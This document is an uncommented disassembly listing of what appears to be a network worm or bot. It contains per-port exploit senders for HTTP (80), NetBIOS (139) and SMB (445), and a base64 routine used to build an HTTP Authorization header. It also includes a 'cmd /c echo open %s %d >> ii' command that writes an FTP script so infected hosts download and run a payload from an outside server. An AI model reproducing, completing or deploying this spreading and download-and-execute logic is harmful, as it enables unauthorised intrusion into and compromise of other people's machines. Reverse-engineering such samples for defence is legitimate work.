offset dword_4289AC lea ecx, [ebp+var_48] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038B5 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_403DF2 ; --------------------------------------------------------------------------- loc_403DE4: ; CODE XREF: sub_403A90+1Bj ; sub_403A90+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_403DF2: ; CODE XREF: sub_403A90+352j pop edi pop ebx leave retn sub_403A90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF6 proc near ; CODE XREF: sub_403EBA+A1p ; sub_403EBA+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_403E5D lea eax, [ebp+var_10C] push eax push esi call sub_422A46 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_403E61 loc_403E5D: ; CODE XREF: sub_403DF6+54j xor eax, eax jmp short loc_403E71 ; --------------------------------------------------------------------------- loc_403E61: ; CODE XREF: sub_403DF6+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_43F680 loc_403E71: ; CODE XREF: sub_403DF6+69j pop edi pop esi leave retn sub_403DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E75 proc near ; CODE XREF: sub_403EBA+81p ; sub_403EBA+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_43F664 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 4 jz short loc_403E9F xor al, al leave retn ; --------------------------------------------------------------------------- loc_403E9F: ; CODE XREF: sub_403E75+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_43F6B8 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_403E75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EBA proc near ; CODE XREF: sub_403F94+48p ; ___:00404406p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_403EE3 xor al, al jmp loc_403F8F ; --------------------------------------------------------------------------- loc_403EE3: ; CODE XREF: sub_403EBA+20j push ebx push 0 push esi call sub_417330 push 2Fh push offset dword_4286E4 push esi call sub_417390 push 8 lea eax, [esi+31h] push offset dword_428714 push eax mov [esi+2Fh], di call sub_417390 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_417390 push 6 add ebx, edi push offset dword_43C81C push ebx call sub_417390 mov ebx, [ebp+arg_0] push 85h push offset dword_42865C push ebx call sub_403E75 add esp, 48h test al, al jnz short loc_403F4B loc_403F47: ; CODE XREF: sub_403EBA+B5j xor bl, bl jmp short loc_403F86 ; --------------------------------------------------------------------------- loc_403F4B: ; CODE XREF: sub_403EBA+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 push [ebp+var_4] push esi push ebx call sub_403E75 add esp, 1Ch test al, al jz short loc_403F47 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 add esp, 10h mov bl, 1 loc_403F86: ; CODE XREF: sub_403EBA+8Fj push esi call sub_417C3B pop ecx mov al, bl loc_403F8F: ; CODE XREF: sub_403EBA+24j pop edi pop esi pop ebx leave retn sub_403EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F94 proc near ; CODE XREF: ___:004043ECp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_428720 push [ebp+arg_0] call near ptr 71AB1AF4h nop cmp eax, 48h jnz short loc_403FCF push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_403DF6 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_403FCF cmp [ebp+var_20], 82h jz short loc_403FD3 loc_403FCF: ; CODE XREF: sub_403F94+1Bj ; sub_403F94+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_403FD3: ; CODE XREF: sub_403F94+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403EBA add esp, 0Ch leave retn sub_403F94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE6 proc near ; CODE XREF: sub_404032+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_424278 call sub_417DC4 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_424270 fstp [esp+10h+var_10] call sub_417CA4 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_417DC4 inc eax leave retn sub_403FE6 endp ; =============== S U B R O U T I N E ======================================= sub_404032 proc near ; CODE XREF: sub_4041D4+24p var_40 = qword ptr -40h mov eax, offset loc_4230E7 call sub_418290 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_404667 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_403FE6 cmp [ebp-2Ch], eax pop ecx jnb short loc_404074 push edi push eax lea ecx, [ebp-38h] call sub_4045E2 loc_404074: ; CODE XREF: sub_404032+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_404191 mov ebx, [ebp+10h] loc_404083: ; CODE XREF: sub_404032+156j cmp dword ptr [ebp+10h], 3 jb short loc_40408D push 3 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_404032+55j cmp dword ptr [ebp+10h], 2 jnz short loc_404097 push 2 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_404097: ; CODE XREF: sub_404032+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_4040A0 push 1 loc_40409F: ; CODE XREF: sub_404032+59j ; sub_404032+63j pop ebx loc_4040A0: ; CODE XREF: sub_404032+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_424288 fstp [esp+40h+var_40] call sub_417DEB pop ecx pop ecx call sub_417DC4 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_4040DF mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_4040DF: ; CODE XREF: sub_404032+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40414D add [ebp-18h], eax loc_404131: ; CODE XREF: sub_404032+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_42876C[eax] push eax push 1 call sub_404464 inc esi cmp esi, [ebp-1Ch] jb short loc_404131 loc_40414D: ; CODE XREF: sub_404032+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40416B push dword ptr [ebp+14h] call sub_417AB0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_4044BD mov [ebp-18h], edi loc_40416B: ; CODE XREF: sub_404032+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_404185 sub esi, [ebp-1Ch] loc_404176: ; CODE XREF: sub_404032+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_404464 dec esi jnz short loc_404176 loc_404185: ; CODE XREF: sub_404032+13Fj cmp [ebp+10h], edi ja loc_404083 push 1 pop ebx loc_404191: ; CODE XREF: sub_404032+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404667 push dword_424280 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_404514 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404667 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_404032 endp ; =============== S U B R O U T I N E ======================================= sub_4041D4 proc near ; CODE XREF: ___:004043CFp mov eax, offset loc_423104 call sub_418290 sub esp, 10h push ebx push esi push edi push offset byte_43C80C lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_404032 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_417B89 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40421E xor bl, bl jmp short loc_404262 ; --------------------------------------------------------------------------- loc_40421E: ; CODE XREF: sub_4041D4+44j mov ecx, [ebp-18h] mov eax, offset dword_424290 cmp ecx, ebx jnz short loc_40422C mov ecx, eax loc_40422C: ; CODE XREF: sub_4041D4+54j cmp [ebp+18h], ebx jz short loc_404234 mov eax, [ebp+18h] loc_404234: ; CODE XREF: sub_4041D4+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41782A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_43F6B8 cmp eax, esi jz short loc_404259 xor bl, bl jmp short loc_40425B ; --------------------------------------------------------------------------- loc_404259: ; CODE XREF: sub_4041D4+7Fj mov bl, 1 loc_40425B: ; CODE XREF: sub_4041D4+83j push edi call sub_417C3B pop ecx loc_404262: ; CODE XREF: sub_4041D4+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404667 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404667 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4041D4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_428918 push eax call sub_417390 add esp, 0Ch mov eax, offset byte_42F678 push eax push eax push dword_43C83C push dword ptr [ebp+8] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp-391h] push 400h push eax call sub_41782A add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_4287B0 push eax call sub_403A90 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40432B xor eax, eax jmp loc_404457 ; --------------------------------------------------------------------------- loc_40432B: ; CODE XREF: ___:00404322j mov [ebp-0Ch], esi loc_40432E: ; CODE XREF: ___:0040442Ej test esi, esi jnz loc_404434 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40441C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_43F668 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_43F6A8 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_404411 cmp dword ptr [ebp+0A8h], 50h jnz short loc_4043D9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404667 lea eax, [ebp+0Ch] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_4046A3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_4041D4 add esp, 1Ch jmp short loc_40440E ; --------------------------------------------------------------------------- loc_4043D9: ; CODE XREF: ___:00404397j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_4043F3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403F94 jmp short loc_40440B ; --------------------------------------------------------------------------- loc_4043F3: ; CODE XREF: ___:004043E3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404411 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403EBA loc_40440B: ; CODE XREF: ___:004043F1j add esp, 0Ch loc_40440E: ; CODE XREF: ___:004043D7j movzx esi, al loc_404411: ; CODE XREF: ___:0040438Aj ; ___:004043FDj push ebx call dword_43F700 test esi, esi jnz short loc_404427 loc_40441C: ; CODE XREF: ___:00404347j push 3E8h nop call near ptr 2600833h loc_404427: ; CODE XREF: ___:0040441Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40432E loc_404434: ; CODE XREF: ___:00404330j lea ecx, [ebp-8] call sub_4038B5 test esi, esi jz short loc_404455 mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_404455: ; CODE XREF: ___:0040443Ej mov eax, esi loc_404457: ; CODE XREF: ___:00404326j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230C8 loc_40445C: ; CODE XREF: sub_4230C8+3j ; ___:004230E1j ... push 1 call sub_404667 retn ; END OF FUNCTION CHUNK FOR sub_4230C8 ; =============== S U B R O U T I N E ======================================= sub_404464 proc near ; CODE XREF: sub_404032+110p ; sub_404032+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40447E call sub_42298A loc_40447E: ; CODE XREF: sub_404464+13j test ebx, ebx jbe short loc_4044B5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_4044B5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_417330 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4044B5: ; CODE XREF: sub_404464+1Cj ; sub_404464+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404464 endp ; =============== S U B R O U T I N E ======================================= sub_4044BD proc near ; CODE XREF: sub_404032+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4044D7 call sub_42298A loc_4044D7: ; CODE XREF: sub_4044BD+13j test ebx, ebx jbe short loc_40450C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_40450C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40450C: ; CODE XREF: sub_4044BD+1Cj ; sub_4044BD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4044BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404514 proc near ; CODE XREF: sub_404032+17Cp ; sub_4228A0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40452C call sub_422863 loc_40452C: ; CODE XREF: sub_404514+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40453E mov esi, [ebp+arg_8] loc_40453E: ; CODE XREF: sub_404514+25j cmp edi, ebx jnz short loc_404560 push dword_424280 add esi, ecx mov ecx, edi push esi call sub_4046D8 push [ebp+arg_4] mov ecx, edi push 0 call sub_4046D8 jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_404560: ; CODE XREF: sub_404514+2Cj test esi, esi jbe short loc_4045A3 cmp esi, eax jnz short loc_4045A3 mov eax, [ebx+4] test eax, eax jnz short loc_404574 mov eax, offset dword_424290 loc_404574: ; CODE XREF: sub_404514+59j cmp byte ptr [eax-1], 0FEh jnb short loc_4045A3 push 1 mov ecx, edi call sub_404667 mov eax, [ebx+4] test eax, eax jnz short loc_40458F mov eax, offset dword_424290 loc_40458F: ; CODE XREF: sub_404514+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_4045A3: ; CODE XREF: sub_404514+4Ej ; sub_404514+52j ... push 1 push esi mov ecx, edi call sub_4045E2 test al, al jz short loc_4045D9 mov eax, [ebx+4] test eax, eax jnz short loc_4045BD mov eax, offset dword_424290 loc_4045BD: ; CODE XREF: sub_404514+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_417390 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_4045D9: ; CODE XREF: sub_404514+4Aj ; sub_404514+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_404514 endp ; =============== S U B R O U T I N E ======================================= sub_4045E2 proc near ; CODE XREF: sub_404032+3Dp ; sub_404464+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_4045F4 call sub_42298A loc_4045F4: ; CODE XREF: sub_4045E2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40461D mov al, [ecx-1] cmp al, dl jz short loc_40461D cmp al, 0FFh jz short loc_40461D cmp edi, edx jnz short loc_404658 dec al push edx mov [ecx-1], al loc_404612: ; CODE XREF: sub_4045E2+47j mov ecx, esi call sub_404667 loc_404619: ; CODE XREF: sub_4045E2+4Bj ; sub_4045E2+52j xor al, al jmp short loc_404662 ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_4045E2+19j ; sub_4045E2+20j ... cmp edi, edx jnz short loc_404636 cmp [esp+8+arg_4], dl jz short loc_40462B push 1 jmp short loc_404612 ; --------------------------------------------------------------------------- loc_40462B: ; CODE XREF: sub_4045E2+43j cmp ecx, edx jz short loc_404619 mov [esi+8], edx mov [ecx], dl jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404636: ; CODE XREF: sub_4045E2+3Dj cmp [esp+8+arg_4], dl jz short loc_404653 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404648 cmp eax, edi jnb short loc_404660 loc_404648: ; CODE XREF: sub_4045E2+60j push 1 mov ecx, esi call sub_404667 jmp short loc_404658 ; --------------------------------------------------------------------------- loc_404653: ; CODE XREF: sub_4045E2+58j cmp [esi+0Ch], edi jnb short loc_404660 loc_404658: ; CODE XREF: sub_4045E2+28j ; sub_4045E2+6Fj push edi mov ecx, esi call sub_40473F loc_404660: ; CODE XREF: sub_4045E2+64j ; sub_4045E2+74j mov al, 1 loc_404662: ; CODE XREF: sub_4045E2+39j pop edi pop esi retn 8 sub_4045E2 endp ; =============== S U B R O U T I N E ======================================= sub_404667 proc near ; CODE XREF: sub_404032+1Fp ; sub_404032+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404693 mov eax, [esi+4] test eax, eax jz short loc_404693 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40468C cmp al, 0FFh jz short loc_40468C dec al mov [ecx], al jmp short loc_404693 ; --------------------------------------------------------------------------- loc_40468C: ; CODE XREF: sub_404667+19j ; sub_404667+1Dj push ecx call sub_4182AF pop ecx loc_404693: ; CODE XREF: sub_404667+8j ; sub_404667+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404667 endp ; =============== S U B R O U T I N E ======================================= sub_4046A3 proc near ; CODE XREF: ___:004043C3p ; sub_4047FC+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_4045E2 test al, al jz short loc_4046D1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4046D1: ; CODE XREF: sub_4046A3+12j mov eax, esi pop edi pop esi retn 8 sub_4046A3 endp ; =============== S U B R O U T I N E ======================================= sub_4046D8 proc near ; CODE XREF: sub_404514+39p ; sub_404514+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_4046EB call sub_422863 loc_4046EB: ; CODE XREF: sub_4046D8+Cj mov ecx, edi call sub_4047FC mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_404701 mov ebx, eax loc_404701: ; CODE XREF: sub_4046D8+25j test ebx, ebx jbe short loc_404737 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_4182C0 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_4045E2 test al, al jz short loc_404737 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404737: ; CODE XREF: sub_4046D8+2Bj ; sub_4046D8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_4046D8 endp ; =============== S U B R O U T I N E ======================================= sub_40473F proc near ; CODE XREF: sub_4045E2+79p mov eax, offset loc_423110 call sub_418290 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_404765 mov edi, [ebp+8] loc_404765: ; CODE XREF: sub_40473F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404772 xor eax, eax loc_404772: ; CODE XREF: sub_40473F+2Fj push eax call sub_4185F5 pop ecx mov [ebp+8], eax jmp short loc_4047A3 ; --------------------------------------------------------------------------- loc_40477E: ; DATA XREF: ___:00424F9Co mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40478D xor eax, eax loc_40478D: ; CODE XREF: sub_40473F+4Aj push eax call sub_4185F5 mov [ebp+8], eax pop ecx mov eax, offset loc_40479D retn ; --------------------------------------------------------------------------- loc_40479D: ; DATA XREF: sub_40473F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_4047A3: ; CODE XREF: sub_40473F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_4047C1 cmp eax, edi jbe short loc_4047B0 mov eax, edi loc_4047B0: ; CODE XREF: sub_40473F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_417390 add esp, 0Ch loc_4047C1: ; CODE XREF: sub_40473F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404667 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_4047E1 mov edi, ebx loc_4047E1: ; CODE XREF: sub_40473F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40473F endp ; =============== S U B R O U T I N E ======================================= sub_4047FC proc near ; CODE XREF: sub_4046D8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_404829 mov al, [esi-1] test al, al jz short loc_404829 cmp al, 0FFh jz short loc_404829 push 1 call sub_404667 push esi call sub_417AB0 pop ecx push eax push esi mov ecx, edi call sub_4046A3 loc_404829: ; CODE XREF: sub_4047FC+9j ; sub_4047FC+10j ... pop edi pop esi retn sub_4047FC endp ; =============== S U B R O U T I N E ======================================= sub_40482C proc near ; DATA XREF: ___:00426008o test byte_48A30C, 1 jnz short loc_40483C or byte_48A30C, 1 loc_40483C: ; CODE XREF: sub_40482C+7j jmp $+5 push offset nullsub_1 call sub_418670 pop ecx retn sub_40482C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40484E proc near ; DATA XREF: ___:0042600Co jmp $+5 sub_40484E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404853 proc near mov eax, dword_428BE0 add eax, 6 mov dword_43C828, eax retn sub_404853 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404861 proc near ; CODE XREF: sub_404861+D0p ; ___:00404DC0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_404875 or [ebp+arg_7], 1 jmp short loc_404879 ; --------------------------------------------------------------------------- loc_404875: ; CODE XREF: sub_404861+Cj and [ebp+arg_7], 0FEh loc_404879: ; CODE XREF: sub_404861+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40489D or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_4048AF ; --------------------------------------------------------------------------- loc_40489D: ; CODE XREF: sub_404861+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_4048AF: ; CODE XREF: sub_404861+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_417B89 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_404948 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2630000h test eax, eax jz short loc_40493F mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40493F push [ebp+arg_20] call sub_417C3B cmp [ebp+arg_2B], 0 pop ecx jz short loc_40493B push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_404861 add esp, 2Ch jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_404861+B3j mov al, 1 jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493F: ; CODE XREF: sub_404861+9Cj ; sub_404861+A4j push [ebp+arg_20] call sub_417C3B pop ecx loc_404948: ; CODE XREF: sub_404861+61j xor al, al loc_40494A: ; CODE XREF: sub_404861+D8j ; sub_404861+DCj pop edi pop esi pop ebx leave retn sub_404861 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 0D4h ; Ô db 31h ; 1 db 1 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 5Ch ; \ db 8Ch ; Œ db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 24h ; $ db 3Eh ; > db 1 db 0 db 59h ; Y 